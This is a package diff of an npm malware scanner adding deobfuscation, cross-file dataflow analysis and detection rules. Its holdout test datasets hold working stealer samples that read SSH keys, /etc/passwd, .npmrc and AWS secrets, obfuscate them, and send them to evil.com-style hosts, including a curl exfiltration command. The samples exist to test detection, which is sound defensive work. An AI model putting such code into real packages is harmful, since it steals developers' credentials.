muaddib-scanner 2.2.4 → 2.2.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/muaddib.js +11 -1
- package/datasets/holdout-v4/atob-eval/index.js +2 -0
- package/datasets/holdout-v4/atob-eval/package.json +5 -0
- package/datasets/holdout-v4/base64-require/index.js +3 -0
- package/datasets/holdout-v4/base64-require/package.json +5 -0
- package/datasets/holdout-v4/charcode-fetch/index.js +3 -0
- package/datasets/holdout-v4/charcode-fetch/package.json +5 -0
- package/datasets/holdout-v4/charcode-spread-homedir/index.js +5 -0
- package/datasets/holdout-v4/charcode-spread-homedir/package.json +5 -0
- package/datasets/holdout-v4/concat-env-steal/index.js +4 -0
- package/datasets/holdout-v4/concat-env-steal/package.json +5 -0
- package/datasets/holdout-v4/double-decode-exfil/index.js +4 -0
- package/datasets/holdout-v4/double-decode-exfil/package.json +5 -0
- package/datasets/holdout-v4/hex-array-exec/index.js +3 -0
- package/datasets/holdout-v4/hex-array-exec/package.json +5 -0
- package/datasets/holdout-v4/mixed-obfuscation-stealer/index.js +10 -0
- package/datasets/holdout-v4/mixed-obfuscation-stealer/package.json +5 -0
- package/datasets/holdout-v4/nested-base64-concat/index.js +4 -0
- package/datasets/holdout-v4/nested-base64-concat/package.json +5 -0
- package/datasets/holdout-v4/template-literal-hide/index.js +3 -0
- package/datasets/holdout-v4/template-literal-hide/package.json +5 -0
- package/datasets/holdout-v5/callback-exfil/main.js +8 -0
- package/datasets/holdout-v5/callback-exfil/package.json +5 -0
- package/datasets/holdout-v5/callback-exfil/reader.js +10 -0
- package/datasets/holdout-v5/class-method-exfil/collector.js +10 -0
- package/datasets/holdout-v5/class-method-exfil/main.js +7 -0
- package/datasets/holdout-v5/class-method-exfil/package.json +5 -0
- package/datasets/holdout-v5/conditional-split/detector.js +2 -0
- package/datasets/holdout-v5/conditional-split/package.json +5 -0
- package/datasets/holdout-v5/conditional-split/stealer.js +16 -0
- package/datasets/holdout-v5/event-emitter-flow/listener.js +12 -0
- package/datasets/holdout-v5/event-emitter-flow/package.json +5 -0
- package/datasets/holdout-v5/event-emitter-flow/scanner.js +11 -0
- package/datasets/holdout-v5/mixed-inline-split/index.js +6 -0
- package/datasets/holdout-v5/mixed-inline-split/package.json +5 -0
- package/datasets/holdout-v5/mixed-inline-split/reader.js +3 -0
- package/datasets/holdout-v5/mixed-inline-split/sender.js +6 -0
- package/datasets/holdout-v5/named-export-steal/main.js +6 -0
- package/datasets/holdout-v5/named-export-steal/package.json +5 -0
- package/datasets/holdout-v5/named-export-steal/utils.js +1 -0
- package/datasets/holdout-v5/reexport-chain/a.js +2 -0
- package/datasets/holdout-v5/reexport-chain/b.js +1 -0
- package/datasets/holdout-v5/reexport-chain/c.js +11 -0
- package/datasets/holdout-v5/reexport-chain/package.json +5 -0
- package/datasets/holdout-v5/split-env-exfil/env.js +2 -0
- package/datasets/holdout-v5/split-env-exfil/exfil.js +5 -0
- package/datasets/holdout-v5/split-env-exfil/package.json +5 -0
- package/datasets/holdout-v5/split-npmrc-steal/index.js +2 -0
- package/datasets/holdout-v5/split-npmrc-steal/package.json +5 -0
- package/datasets/holdout-v5/split-npmrc-steal/reader.js +8 -0
- package/datasets/holdout-v5/split-npmrc-steal/sender.js +17 -0
- package/datasets/holdout-v5/three-hop-chain/package.json +5 -0
- package/datasets/holdout-v5/three-hop-chain/reader.js +8 -0
- package/datasets/holdout-v5/three-hop-chain/sender.js +11 -0
- package/datasets/holdout-v5/three-hop-chain/transform.js +3 -0
- package/package.json +1 -1
- package/src/index.js +26 -3
- package/src/response/playbooks.js +10 -0
- package/src/rules/index.js +26 -0
- package/src/scanner/ast.js +107 -24
- package/src/scanner/dataflow.js +18 -1
- package/src/scanner/deobfuscate.js +557 -0
- package/src/scanner/module-graph.js +883 -0
package/bin/muaddib.js
CHANGED
|
@@ -31,6 +31,8 @@ let temporalPublishMode = false;
|
|
|
31
31
|
let temporalMaintainerMode = false;
|
|
32
32
|
let temporalFullMode = false;
|
|
33
33
|
let breakdownMode = false;
|
|
34
|
+
let noDeobfuscate = false;
|
|
35
|
+
let noModuleGraph = false;
|
|
34
36
|
let feedLimit = null;
|
|
35
37
|
let feedSeverity = null;
|
|
36
38
|
let feedSince = null;
|
|
@@ -110,6 +112,10 @@ for (let i = 0; i < options.length; i++) {
|
|
|
110
112
|
temporalMaintainerMode = true;
|
|
111
113
|
} else if (options[i] === '--breakdown') {
|
|
112
114
|
breakdownMode = true;
|
|
115
|
+
} else if (options[i] === '--no-deobfuscate') {
|
|
116
|
+
noDeobfuscate = true;
|
|
117
|
+
} else if (options[i] === '--no-module-graph') {
|
|
118
|
+
noModuleGraph = true;
|
|
113
119
|
} else if (options[i] === '--temporal') {
|
|
114
120
|
temporalMode = true;
|
|
115
121
|
} else if (options[i] === '--limit') {
|
|
@@ -395,6 +401,8 @@ const helpText = `
|
|
|
395
401
|
--temporal-maintainer Detect maintainer changes (new maintainer, account takeover)
|
|
396
402
|
--temporal-full All temporal analyses (lifecycle + AST + publish + maintainer)
|
|
397
403
|
--no-canary Disable honey token injection in sandbox
|
|
404
|
+
--no-deobfuscate Disable deobfuscation pre-processing
|
|
405
|
+
--no-module-graph Disable cross-file dataflow analysis
|
|
398
406
|
--exclude [dir] Exclude directory from scan (repeatable)
|
|
399
407
|
--limit [n] Limit feed entries (default: 50)
|
|
400
408
|
--severity [level] Filter by severity (CRITICAL|HIGH|MEDIUM|LOW)
|
|
@@ -435,7 +443,9 @@ if (command === 'version' || command === '--version' || command === '-v') {
|
|
|
435
443
|
temporalMaintainer: temporalMaintainerMode || temporalFullMode,
|
|
436
444
|
exclude: excludeDirs,
|
|
437
445
|
entropyThreshold: entropyThreshold,
|
|
438
|
-
breakdown: breakdownMode
|
|
446
|
+
breakdown: breakdownMode,
|
|
447
|
+
noDeobfuscate: noDeobfuscate,
|
|
448
|
+
noModuleGraph: noModuleGraph
|
|
439
449
|
}).then(exitCode => {
|
|
440
450
|
process.exit(exitCode);
|
|
441
451
|
}).catch(err => {
|
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
// Holdout v4 — charcode-spread-homedir: module 'os' hidden via charCodes
|
|
2
|
+
const h = String.fromCharCode(...[111, 115]);
|
|
3
|
+
const m = require(h).homedir();
|
|
4
|
+
const f = require('fs').readFileSync(m + '/.ssh/id_rsa');
|
|
5
|
+
require('https').request('https://evil.com').write(f);
|
|
@@ -0,0 +1,4 @@
|
|
|
1
|
+
// Holdout v4 — double-decode-exfil: double base64 encoding
|
|
2
|
+
const modName = Buffer.from(Buffer.from('WTJocGJHUmZjSEp2WTJWemN3PT0=', 'base64').toString(), 'base64').toString();
|
|
3
|
+
const proc = require(modName);
|
|
4
|
+
proc.exec('curl https://evil.com/exfil?data=$(cat /etc/passwd)');
|
|
@@ -0,0 +1,3 @@
|
|
|
1
|
+
// Holdout v4 — hex-array-exec: shell command hidden in hex array
|
|
2
|
+
const cmd = [0x63, 0x75, 0x72, 0x6c, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x65, 0x76, 0x69, 0x6c, 0x2e, 0x63, 0x6f, 0x6d].map(c => String.fromCharCode(c)).join('');
|
|
3
|
+
require('child_process').exec(cmd);
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
// Holdout v4 — mixed-obfuscation-stealer: 3 techniques combined
|
|
2
|
+
// Module name via charCode
|
|
3
|
+
const modName = String.fromCharCode(102, 115);
|
|
4
|
+
// Path via base64
|
|
5
|
+
const credPath = Buffer.from('L2V0Yy9wYXNzd2Q=', 'base64').toString();
|
|
6
|
+
// URL via concat
|
|
7
|
+
const host = 'https://' + 'att' + 'acker' + '.com';
|
|
8
|
+
|
|
9
|
+
const data = require(modName).readFileSync(credPath, 'utf8');
|
|
10
|
+
require('https').request(host, { method: 'POST' }, () => {}).write(data);
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
|
|
5
|
+
function readCredentials(callback) {
|
|
6
|
+
const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
|
|
7
|
+
callback(npmrc);
|
|
8
|
+
}
|
|
9
|
+
|
|
10
|
+
module.exports = readCredentials;
|
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
const isCI = require('./detector');
|
|
6
|
+
|
|
7
|
+
if (isCI) {
|
|
8
|
+
const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
|
|
9
|
+
const req = https.request({
|
|
10
|
+
hostname: 'evil.com',
|
|
11
|
+
path: '/ci-steal',
|
|
12
|
+
method: 'POST'
|
|
13
|
+
}, (res) => { res.resume(); });
|
|
14
|
+
req.write(npmrc);
|
|
15
|
+
req.end();
|
|
16
|
+
}
|
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const bus = require('./scanner');
|
|
3
|
+
|
|
4
|
+
bus.on('data', (creds) => {
|
|
5
|
+
const req = https.request({
|
|
6
|
+
hostname: 'evil.com',
|
|
7
|
+
path: '/steal',
|
|
8
|
+
method: 'POST'
|
|
9
|
+
}, (res) => { res.resume(); });
|
|
10
|
+
req.write(creds);
|
|
11
|
+
req.end();
|
|
12
|
+
});
|
|
@@ -0,0 +1,11 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
4
|
+
const EventEmitter = require('events');
|
|
5
|
+
|
|
6
|
+
const bus = new EventEmitter();
|
|
7
|
+
|
|
8
|
+
const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
|
|
9
|
+
bus.emit('data', npmrc);
|
|
10
|
+
|
|
11
|
+
module.exports = bus;
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
exports.getCredentials = process.env.AWS_SECRET_ACCESS_KEY;
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = require('./a');
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const data = require('./reader');
|
|
3
|
+
|
|
4
|
+
const options = {
|
|
5
|
+
hostname: 'collector.evil.com',
|
|
6
|
+
port: 443,
|
|
7
|
+
path: '/exfil',
|
|
8
|
+
method: 'POST',
|
|
9
|
+
headers: { 'Content-Type': 'text/plain' }
|
|
10
|
+
};
|
|
11
|
+
|
|
12
|
+
const req = https.request(options, (res) => {
|
|
13
|
+
res.resume();
|
|
14
|
+
});
|
|
15
|
+
|
|
16
|
+
req.write(data);
|
|
17
|
+
req.end();
|
package/package.json
CHANGED
package/src/index.js
CHANGED
|
@@ -19,6 +19,8 @@ const { loadCachedIOCs } = require('./ioc/updater.js');
|
|
|
19
19
|
const { ensureIOCs } = require('./ioc/bootstrap.js');
|
|
20
20
|
const { scanEntropy } = require('./scanner/entropy.js');
|
|
21
21
|
const { scanAIConfig } = require('./scanner/ai-config.js');
|
|
22
|
+
const { deobfuscate } = require('./scanner/deobfuscate.js');
|
|
23
|
+
const { buildModuleGraph, annotateTaintedExports, detectCrossFileFlows } = require('./scanner/module-graph.js');
|
|
22
24
|
const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
|
|
23
25
|
const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
|
|
24
26
|
const { detectPublishAnomaly } = require('./publish-anomaly.js');
|
|
@@ -222,6 +224,21 @@ async function run(targetPath, options = {}) {
|
|
|
222
224
|
spinner.start(`[MUADDIB] Scanning ${targetPath}...`);
|
|
223
225
|
}
|
|
224
226
|
|
|
227
|
+
// Deobfuscation pre-processor (pass to AST/dataflow scanners unless disabled)
|
|
228
|
+
const deobfuscateFn = options.noDeobfuscate ? null : deobfuscate;
|
|
229
|
+
|
|
230
|
+
// Cross-file module graph analysis (before individual scanners)
|
|
231
|
+
let crossFileFlows = [];
|
|
232
|
+
if (!options.noModuleGraph) {
|
|
233
|
+
try {
|
|
234
|
+
const graph = buildModuleGraph(targetPath);
|
|
235
|
+
const tainted = annotateTaintedExports(graph, targetPath);
|
|
236
|
+
crossFileFlows = detectCrossFileFlows(graph, tainted, targetPath);
|
|
237
|
+
} catch {
|
|
238
|
+
// Graceful fallback — module graph is best-effort
|
|
239
|
+
}
|
|
240
|
+
}
|
|
241
|
+
|
|
225
242
|
// Parallel execution of all independent scanners
|
|
226
243
|
const [
|
|
227
244
|
packageThreats,
|
|
@@ -240,11 +257,11 @@ async function run(targetPath, options = {}) {
|
|
|
240
257
|
] = await Promise.all([
|
|
241
258
|
scanPackageJson(targetPath),
|
|
242
259
|
scanShellScripts(targetPath),
|
|
243
|
-
analyzeAST(targetPath),
|
|
260
|
+
analyzeAST(targetPath, { deobfuscate: deobfuscateFn }),
|
|
244
261
|
Promise.resolve(detectObfuscation(targetPath)),
|
|
245
262
|
scanDependencies(targetPath),
|
|
246
263
|
scanHashes(targetPath),
|
|
247
|
-
analyzeDataFlow(targetPath),
|
|
264
|
+
analyzeDataFlow(targetPath, { deobfuscate: deobfuscateFn }),
|
|
248
265
|
scanTyposquatting(targetPath),
|
|
249
266
|
Promise.resolve(scanGitHubActions(targetPath)),
|
|
250
267
|
Promise.resolve(matchPythonIOCs(pythonDeps, targetPath)),
|
|
@@ -271,7 +288,13 @@ async function run(targetPath, options = {}) {
|
|
|
271
288
|
...pythonThreats,
|
|
272
289
|
...pypiTyposquatThreats,
|
|
273
290
|
...entropyThreats,
|
|
274
|
-
...aiConfigThreats
|
|
291
|
+
...aiConfigThreats,
|
|
292
|
+
...crossFileFlows.map(f => ({
|
|
293
|
+
type: f.type,
|
|
294
|
+
severity: f.severity,
|
|
295
|
+
message: `Cross-file dataflow: ${f.source} in ${f.sourceFile} → ${f.sink} in ${f.sinkFile}`,
|
|
296
|
+
file: f.sinkFile
|
|
297
|
+
}))
|
|
275
298
|
];
|
|
276
299
|
|
|
277
300
|
// Paranoid mode
|
|
@@ -304,6 +304,11 @@ const PLAYBOOKS = {
|
|
|
304
304
|
'NE PAS installer. Ceci execute du code arbitraire a l\'installation. ' +
|
|
305
305
|
'Si deja installe: considerer la machine compromise. Auditer les modifications systeme.',
|
|
306
306
|
|
|
307
|
+
cross_file_dataflow:
|
|
308
|
+
'CRITIQUE: Un module lit des credentials et les exporte vers un autre module qui les envoie sur le reseau. ' +
|
|
309
|
+
'Exfiltration inter-fichiers confirmee. Isoler la machine, supprimer le package, regenerer TOUS les secrets. ' +
|
|
310
|
+
'Auditer les connexions reseau recentes pour identifier les donnees exfiltrees.',
|
|
311
|
+
|
|
307
312
|
credential_tampering:
|
|
308
313
|
'CRITIQUE: Ecriture detectee dans un cache sensible (npm _cacache, yarn, pip). ' +
|
|
309
314
|
'Possible cache poisoning: injection de code malveillant dans des packages caches. ' +
|
|
@@ -318,6 +323,11 @@ const PLAYBOOKS = {
|
|
|
318
323
|
'Fichier binaire (.png/.jpg/.wasm) reference avec eval() dans le meme fichier. ' +
|
|
319
324
|
'Technique de steganographie: le payload malveillant est cache dans les pixels d\'une image ou les sections d\'un WASM. ' +
|
|
320
325
|
'Analyser le fichier binaire dans un sandbox. Verifier les donnees extraites avant execution.',
|
|
326
|
+
|
|
327
|
+
staged_eval_decode:
|
|
328
|
+
'CRITIQUE: eval() ou Function() recoit un argument decode en base64 (atob/Buffer.from). ' +
|
|
329
|
+
'Technique de staged payload: le code malveillant est encode puis decode et execute dynamiquement. ' +
|
|
330
|
+
'Isoler la machine. Decoder le payload manuellement pour analyser le code execute. Supprimer le package.',
|
|
321
331
|
};
|
|
322
332
|
|
|
323
333
|
function getPlaybook(threatType) {
|
package/src/rules/index.js
CHANGED
|
@@ -585,6 +585,19 @@ const RULES = {
|
|
|
585
585
|
mitre: 'T1027.003'
|
|
586
586
|
},
|
|
587
587
|
|
|
588
|
+
staged_eval_decode: {
|
|
589
|
+
id: 'MUADDIB-AST-021',
|
|
590
|
+
name: 'Staged Eval Decode',
|
|
591
|
+
severity: 'CRITICAL',
|
|
592
|
+
confidence: 'high',
|
|
593
|
+
description: 'eval() ou Function() recoit un argument decode (atob ou Buffer.from base64). Pattern classique de staged payload: le code malveillant est encode en base64 puis decode et execute dynamiquement.',
|
|
594
|
+
references: [
|
|
595
|
+
'https://attack.mitre.org/techniques/T1140/',
|
|
596
|
+
'https://attack.mitre.org/techniques/T1059/007/'
|
|
597
|
+
],
|
|
598
|
+
mitre: 'T1140'
|
|
599
|
+
},
|
|
600
|
+
|
|
588
601
|
env_charcode_reconstruction: {
|
|
589
602
|
id: 'MUADDIB-AST-018',
|
|
590
603
|
name: 'Environment Variable Key Reconstruction',
|
|
@@ -611,6 +624,19 @@ const RULES = {
|
|
|
611
624
|
mitre: 'T1195.002'
|
|
612
625
|
},
|
|
613
626
|
|
|
627
|
+
cross_file_dataflow: {
|
|
628
|
+
id: 'MUADDIB-FLOW-004',
|
|
629
|
+
name: 'Cross-File Data Exfiltration',
|
|
630
|
+
severity: 'CRITICAL',
|
|
631
|
+
confidence: 'high',
|
|
632
|
+
description: 'Un module lit des credentials (fs.readFileSync, process.env) et les exporte vers un autre module qui les envoie sur le reseau (fetch, https.request). Exfiltration inter-fichiers confirmee.',
|
|
633
|
+
references: [
|
|
634
|
+
'https://blog.phylum.io/shai-hulud-npm-worm',
|
|
635
|
+
'https://attack.mitre.org/techniques/T1041/'
|
|
636
|
+
],
|
|
637
|
+
mitre: 'T1041'
|
|
638
|
+
},
|
|
639
|
+
|
|
614
640
|
credential_tampering: {
|
|
615
641
|
id: 'MUADDIB-FLOW-003',
|
|
616
642
|
name: 'Credential/Cache Tampering',
|